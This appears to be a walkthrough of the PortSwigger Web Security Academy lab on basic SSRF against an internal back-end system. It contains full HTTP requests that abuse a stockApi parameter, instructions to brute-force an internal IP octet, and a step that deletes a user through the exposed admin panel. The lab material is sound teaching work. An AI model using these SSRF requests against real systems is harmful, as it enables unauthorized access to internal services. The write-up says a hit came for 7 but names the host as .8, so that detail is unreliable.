Basic SSRF against another back-end system

Platform: PortSwigger | Category: SSRF | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, SSRF

Summary

Walkthrough of the PortSwigger Web Security Academy lab Basic SSRF against another back-end system (SSRF). This lab demonstrates a ssrf vulnerability and its exploitation to achieve the lab objectives.

Lab Overview

PortSwigger Web Security Academy — SSRF

This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.

Lab Description :

Overview :

Another type of trust relationship that often arises with server-side request forgery is where the application server is able to interact with other back-end systems that are not directly reachable by users.

Most of the internal back-end systems contain sensitive functionality that can be accessed without authentication by anyone who is able to interact with the systems.

Here, an attacker can exploit the SSRF vulnerability to access the administrative interface of a backend system by submitting the following request:

 http read-only • copy allowed Copy
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://192.168.0.68/admin

Solution :

In this lab, the admin interface is at port 8080 & the ip of the backend server is around 192.168.0.x . We need to bruteforce the last part of the IP.

So first change the url to something like this ,

 http read-only • copy allowed Copy
POST /product/stock HTTP/1.1
Host: 0ae900140301c1b183ddba2200fe0019.web-security-academy.net
Cookie: session=k0UjtIhRNjucGoUFnqbLOKYgYoTBfI22
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://0ae900140301c1b183ddba2200fe0019.web-security-academy.net/product?productId=9
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Origin: https://0ae900140301c1b183ddba2200fe0019.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

stockApi=http://192.168.0.0:8080/admin

Send the request to intruder and add bruteforce the alst part of the IP - http://192.168.0.$0$:8080/admin.

We got a 200 ok response for 7. So the ip of backend server is 192.168.0.8.

Fetching the backend server's admin panel.

Delete the user carlos using the uri (/admin/delete?username=carlos) .

The uri can be found in the response of the admin panel page.

Thus we solved the lab.

Key Takeaways / Lessons

• Understanding SSRF detection and exploitation is crucial for web security.
• Always validate and sanitize user input; implement proper access controls.
• This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.

---

Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: Basic SSRF against another back-end system